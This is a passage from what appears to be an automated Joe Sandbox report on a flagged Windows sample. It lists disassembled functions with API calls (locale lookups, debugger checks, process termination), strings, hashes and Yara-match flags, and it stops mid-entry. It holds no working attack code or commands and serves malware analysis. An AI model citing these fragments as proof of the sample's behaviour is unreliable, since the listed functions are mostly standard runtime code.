Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EBF6

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 004386FE
IsValidCodePage.KERNEL32(00000000), ref: 00438759
IsValidLocale.KERNEL32(?,00000001), ref: 00438768
GetLocaleInfoW.KERNEL32(?,00001001,0042D465,00000040,?,0042D585,00000055,00000000,?,?,00000055,00000000), ref: 004387B0
GetLocaleInfoW.KERNEL32(?,00001002,0042D4E5,00000040), ref: 004387CF

Strings

pxD, xrefs: 004386AB

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID: pxD
API String ID: 2287132625-1038599989
Opcode ID: 1597094c1490738b88209eaaeda3086c6c8f1ca37cd8beb0090fa150b2d8b552
Instruction ID: 9dbd7dfd993083ff572ae47b8a5661954b986dcb438d7250703f5e1ee53da68c
Opcode Fuzzy Hash: 1597094c1490738b88209eaaeda3086c6c8f1ca37cd8beb0090fa150b2d8b552
Instruction Fuzzy Hash: E6516F71900305ABEF20DFA5CC41ABFB7B9BF08740F14512EF914E7291EB7899048B69

Function 0043A328 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0043A46E

Strings

1#INF, xrefs: 0043B67B
1#SNAN, xrefs: 0043B66D
1#IND, xrefs: 0043B666
1#QNAN, xrefs: 0043B674

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 422b1eabb5eb2a3002e846bac749139e5bcba0c4f1565483385974a192af7918
Instruction ID: ff4620f8328d6c9c48ea7116e64dfe1de2ee798d2ea9821a181fa269f2dec925
Opcode Fuzzy Hash: 422b1eabb5eb2a3002e846bac749139e5bcba0c4f1565483385974a192af7918
Instruction Fuzzy Hash: 5AC26C71E086288FDB25CE28DD407EAB3B5EB49304F1551EBD84DE7240E778AE918F85

Function 00437CBA Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0042D46C,?,?,?,?,0042CEC3,?,00000004), ref: 00437D9C
_wcschr.LIBVCRUNTIME ref: 00437E2C
_wcschr.LIBVCRUNTIME ref: 00437E3A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,0042D46C,00000000,0042D58C), ref: 00437EDD

Strings

pxD, xrefs: 00437D2D

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID: pxD
API String ID: 2444527052-1038599989
Opcode ID: 4828067ea9bd6d2b06e99130a7ba9a820cce36f8b25c0b995c90e8974e491da8
Instruction ID: f1471575f86688b8661fd7854d916c2bbc86bb661af2c53939a6d4d782b82661
Opcode Fuzzy Hash: 4828067ea9bd6d2b06e99130a7ba9a820cce36f8b25c0b995c90e8974e491da8
Instruction Fuzzy Hash: 4361FAB1608205AADB34AB35DC42AB773A8EF0C754F10146FF955D7281EB78ED418BAC

Function 0043841E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,0043873D,?,00000000), ref: 004384B7
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,0043873D,?,00000000), ref: 004384E0
GetACP.KERNEL32(?,?,0043873D,?,00000000), ref: 004384F5

Strings

OCP, xrefs: 00438472
ACP, xrefs: 0043843C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction ID: 006ee408eda5b3b526e6a713eff5b428684d2cb51fab82c9da05a37a906fe258
Opcode Fuzzy Hash: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction Fuzzy Hash: B7218631600302AAE730CF25C900A97F3A6AB79B60F56956EF949D7A00FF3ADD41C758

Function 02128685 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,021289A4,?,00000000), ref: 0212871E
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,021289A4,?,00000000), ref: 02128747
GetACP.KERNEL32(?,?,021289A4,?,00000000), ref: 0212875C

Strings

ACP, xrefs: 021286A3
OCP, xrefs: 021286D9

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction ID: 52adc2e9104d1db76e6d39a39b729964b1c50c4fe1bf31498cdaafb427e04cc5
Opcode Fuzzy Hash: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction Fuzzy Hash: 9E21C236A90120ABEB348F24D905B9B73A6EB44B68B57C434F909D7110F732DD69C3B0

Function 02128859 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE50
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE5D

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 02128965
IsValidCodePage.KERNEL32(00000000), ref: 021289C0
IsValidLocale.KERNEL32(?,00000001), ref: 021289CF
GetLocaleInfoW.KERNEL32(?,00001001,0211D6CC,00000040,?,0211D7EC,00000055,00000000,?,?,00000055,00000000), ref: 02128A17
GetLocaleInfoW.KERNEL32(?,00001002,0211D74C,00000040), ref: 02128A36

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID:
API String ID: 2287132625-0
Opcode ID: d2750415eb4284a9cc72e8ad31b2c235baf8c0d0e978c784e8a34ecef8f8a0b9
Instruction ID: 22e212696f5b8400c46c487a09f809090182447a7ad3853de07081b831c68938
Opcode Fuzzy Hash: d2750415eb4284a9cc72e8ad31b2c235baf8c0d0e978c784e8a34ecef8f8a0b9
Instruction Fuzzy Hash: B5517F71940229AFEF14EFA5DC44ABE73B9EF58704F06442ABA10E7190E7719928CB71

Function 02127F21 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0211D6D3,?,?,?,?,0211D12A,?,00000004), ref: 02128003
_wcschr.LIBVCRUNTIME ref: 02128093
_wcschr.LIBVCRUNTIME ref: 021280A1
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,0211D6D3,00000000,0211D7F3), ref: 02128144

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID:
API String ID: 2444527052-0
Opcode ID: 9bfb1f7bcb3f23e61d0a3b1e1ba4af974e92bc37cb4cb82b26ecafc5228d1ae6
Instruction ID: d2739665b6cb29269dbd59abca56728077fdd8c03cff9788985df5c41514206a
Opcode Fuzzy Hash: 9bfb1f7bcb3f23e61d0a3b1e1ba4af974e92bc37cb4cb82b26ecafc5228d1ae6
Instruction Fuzzy Hash: 5D610631680226AEEB24EF75CC41ABBB3A9EF04710F15452AF915D71C0EB70E969CB74

Function 004380A5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBE9
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EBF6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004380F9
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043814A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043820A

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free
String ID:
API String ID: 2834031935-0
Opcode ID: 1c03b6edc670916b7f836780900f5f8eca4febcab34e1fb694bed54e174bbb24
Instruction ID: cd25cad230a824031a8e488543870d85060e1904afce877aad71c6c4496d5e6e
Opcode Fuzzy Hash: 1c03b6edc670916b7f836780900f5f8eca4febcab34e1fb694bed54e174bbb24
Instruction Fuzzy Hash: 7761A1715007079BDF289F25CC82BBBB7A8EF08300F1051AEFD16C6681EB789956CB58

Function 00427083 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0042717B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00427185
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00427192

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1b1d5996fa0568dce5f88322355ca943860c0c5cfd50722c665e7e978fdffbbf
Instruction ID: e0d30ef45e2b29281722e24e357fcb620ea9336cf32e7f7591920ba4503aae26
Opcode Fuzzy Hash: 1b1d5996fa0568dce5f88322355ca943860c0c5cfd50722c665e7e978fdffbbf
Instruction Fuzzy Hash: 3831C67590122CABCB21DF65DC8979DB7B8BF08310F5042EAE91CA7290E7349F958F49

Function 021172EA Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,020FAB22), ref: 021173E2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,020FAB22), ref: 021173EC
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,020FAB22), ref: 021173F9

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 760187f04c106bb67235f77f3638943f3737b3f59dba57fa259800565dace798
Instruction ID: bb94bc541d9a9156370caf91b09b9d508fd05954289e30a32a46c4ed0871914e
Opcode Fuzzy Hash: 760187f04c106bb67235f77f3638943f3737b3f59dba57fa259800565dace798
Instruction Fuzzy Hash: 7831B1749413289BCB61DF64DD89BD9BBB8BF08310F5041EAE91CA7290EB709B818F45

Function 0042CB0F Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002,00000000,?,0042AC6F,00000003), ref: 0042CB30
TerminateProcess.KERNEL32(00000000,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002,00000000,?,0042AC6F,00000003), ref: 0042CB37
ExitProcess.KERNEL32 ref: 0042CB49

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction ID: 0b24a19dfd94476852bf672fedc0eff34a8ee21c9854747c61dbadce4354f22e
Opcode Fuzzy Hash: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction Fuzzy Hash: 5EE04631110208ABCF516F60FD4AE493F29EB01745F400025FD058B232CB3AECA2CB88

Function 0211CD76 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,0211CD4C,00000000,004544C0,0000000C,0211CEA3,00000000,00000002,00000000), ref: 0211CD97
TerminateProcess.KERNEL32(00000000,?,0211CD4C,00000000,004544C0,0000000C,0211CEA3,00000000,00000002,00000000), ref: 0211CD9E
ExitProcess.KERNEL32 ref: 0211CDB0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction ID: 9850ce38c1d95353c560b197128f78abf0f3ed540c18ec8c57ad3e279f0d70df
Opcode Fuzzy Hash: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction Fuzzy Hash: 12E0B635090248AFCF916F58DD08A483F7AEF41785F044425FD459A131CB36D9A2CBD6

Function 020F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 020F0966
GetProcAddress., xrefs: 020F09DC, 020F09DF, 020F09E4
., xrefs: 020F095F

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 47799c3eb4f41998aaec55d70cb5b8d5507aece2028a522da9ac79aad1f6e4cc
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 883168B6904709CFEB51CF99C880AAEBBFAFF08324F14404AD941A7615D771EA45CBA4

Function 004356A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0043576C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: c06a81e67a0dd324afbf413f5aa29c1fe082e223c1f15148f670839821b11035
Instruction ID: 2e9eafe7067f67037588e270817b354874956be96bf8c7df4161e7eae3b9d50c
Opcode Fuzzy Hash: c06a81e67a0dd324afbf413f5aa29c1fe082e223c1f15148f670839821b11035
Instruction Fuzzy Hash: 47416E72900618AFCB24AF79DC49EBB77B8EB88314F50426EF905D7280E6349D41CB58

Function 02125909 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 021259D3

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 065b28ca1b81a8d7db720b8f4cc1525fe0d15e4e5897fee681d17f79b396115b
Instruction ID: 2ab6430f98ca5c477125cf5cac33b99464c718a1b0d2a1a05a92f776911d57dc
Opcode Fuzzy Hash: 065b28ca1b81a8d7db720b8f4cc1525fe0d15e4e5897fee681d17f79b396115b
Instruction Fuzzy Hash: 474138729402297FCB289FB9CC89EAB777AEB80314F904269F905E7180E7719D59CB50

Function 00431E70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,0042CEC3,?,00000004), ref: 00431EC3

Strings

GetLocaleInfoEx, xrefs: 00431E81, 00431E8B

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: c04778f9489d57d60a6ae43f6e4ca1cadaebce1bde3dc91f347a133521f97073
Instruction ID: f75d9f483e39270beef6f7e5c865874cd845369d89b5abc9313f01ae1297aebd
Opcode Fuzzy Hash: c04778f9489d57d60a6ae43f6e4ca1cadaebce1bde3dc91f347a133521f97073
Instruction Fuzzy Hash: E5F0F631A80318BBDB115F519C02FAE7B64FF48701F10411AFD05262A0CB769D20EA9C

Function 0042B790 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18215cc127fb6d25ddc8176a55c1e05acb677f5d7f76b8f16f193088134325ee
Instruction ID: 7e34f314aa1c2c0035fa0254aeb5b2a7a8bb7b753e19931f46a0ca4f46e4cc28
Opcode Fuzzy Hash: 18215cc127fb6d25ddc8176a55c1e05acb677f5d7f76b8f16f193088134325ee
Instruction Fuzzy Hash: AA023E71E002299FDF14CFA9D8806AEFBF1EF88314F55826AD919E7384D735A941CB84

Function 0211B9F7 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0701cde56affe015a46934e60a6fe18f0de87cab765414f8e5e0b46c306f628e
Instruction ID: 64954ecf4d64e53908cea31f0149f4d3c42c22e6706ba3cf46a93587258ab88e
Opcode Fuzzy Hash: 0701cde56affe015a46934e60a6fe18f0de87cab765414f8e5e0b46c306f628e
Instruction Fuzzy Hash: 73023A71E442199FDF28CFA9C8807ADF7B1EF48318F258169D919E7384D731AA41CB84

Function 020F234F Relevance: 3.1, APIs: 2, Instructions: 125nativewindowCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 020F2376
PostQuitMessage.USER32(00000000), ref: 020F2514

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: MessageNtdllPostProc_QuitWindow
String ID:
API String ID: 4264772764-0
Opcode ID: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction ID: 5a1d6c436e41375e6cb349c625944b3b9d718115070457166125e2ab02cd45cf
Opcode Fuzzy Hash: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction Fuzzy Hash: 21410A262B4340D9EB558FA0BC55B653360FF1CB52F10642BE608CB2B2E3B18D50D75E

Function 0043396F Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0043396A,?,?,00000008,?,?,0043BE2B,00000000), ref: 00433B9C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction ID: 0d58cad433056efeb4f609712278fb7efe7eef6320d7a95380de60ba9580662a
Opcode Fuzzy Hash: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction Fuzzy Hash: DBB15C32610608DFD715CF28C486B657BE0FF49366F259659E8D9CF2A1C339EA82CB44

Function 02123BD6 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,02123BD1,?,?,00000008,?,?,0212C092,00000000), ref: 02123E03

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction ID: 0060390e7197d76ad3423d9d2232a7116244d929e3adf89b964429323415cce0
Opcode Fuzzy Hash: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction Fuzzy Hash: A4B17F31150618DFD719CF28C486B657BE1FF45368F258698F8AACF2A1C339D9A9CB40

Function 004382F5 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBE9
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EBF6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00438349

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 02b05298bde0058de255417ecc24e22b643044efb6b3cbe517a32a29154d7337
Instruction ID: 4b7e95eaaefb6737f65d6809931eaab0f9949332f19931354a8de6e340c84cfa
Opcode Fuzzy Hash: 02b05298bde0058de255417ecc24e22b643044efb6b3cbe517a32a29154d7337
Instruction Fuzzy Hash: 63219072510206ABDB24AB25DC41ABAB7A8EB49714F10117FFD01C6381EB7AAD41CB58

Function 0212855C Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE50
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE5D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 021285B0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: dc9f3f383d32266536e15c6f9ef47a1011c03c5e9d0748241d65231409d89f36
Instruction ID: 777878b5177dc21998097575365659c36f021fe0da5dbfe994bdd832fcbbb4dc
Opcode Fuzzy Hash: dc9f3f383d32266536e15c6f9ef47a1011c03c5e9d0748241d65231409d89f36
Instruction Fuzzy Hash: 8B21C53259022AAFEB289F64CC41BBA73ADEF01310F01017AFD01C6141EB359968CBA0

Function 00437F7D Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

EnumSystemLocalesW.KERNEL32(004380A5,00000001,00000000,?,0042D465,?,004386D2,00000000,?,?,?), ref: 00437FEF

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 157f17fe2aac2f981308302d193287104392c6e1996501e14c2df405bf692fed
Instruction ID: 4354b8456866fd8e78318a915b0d8e2cb31c14bd8c5c9a4bf52c3490d1a143c2
Opcode Fuzzy Hash: 157f17fe2aac2f981308302d193287104392c6e1996501e14c2df405bf692fed
Instruction Fuzzy Hash: F211293B2047015FDB289F39D89167ABBA1FF84328F15442DE58687B40D7797842C744

Function 021281E4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

EnumSystemLocalesW.KERNEL32(004380A5,00000001,00000000,?,0211D6CC,?,02128939,00000000,?,?,?), ref: 02128256

Memory Dump Source

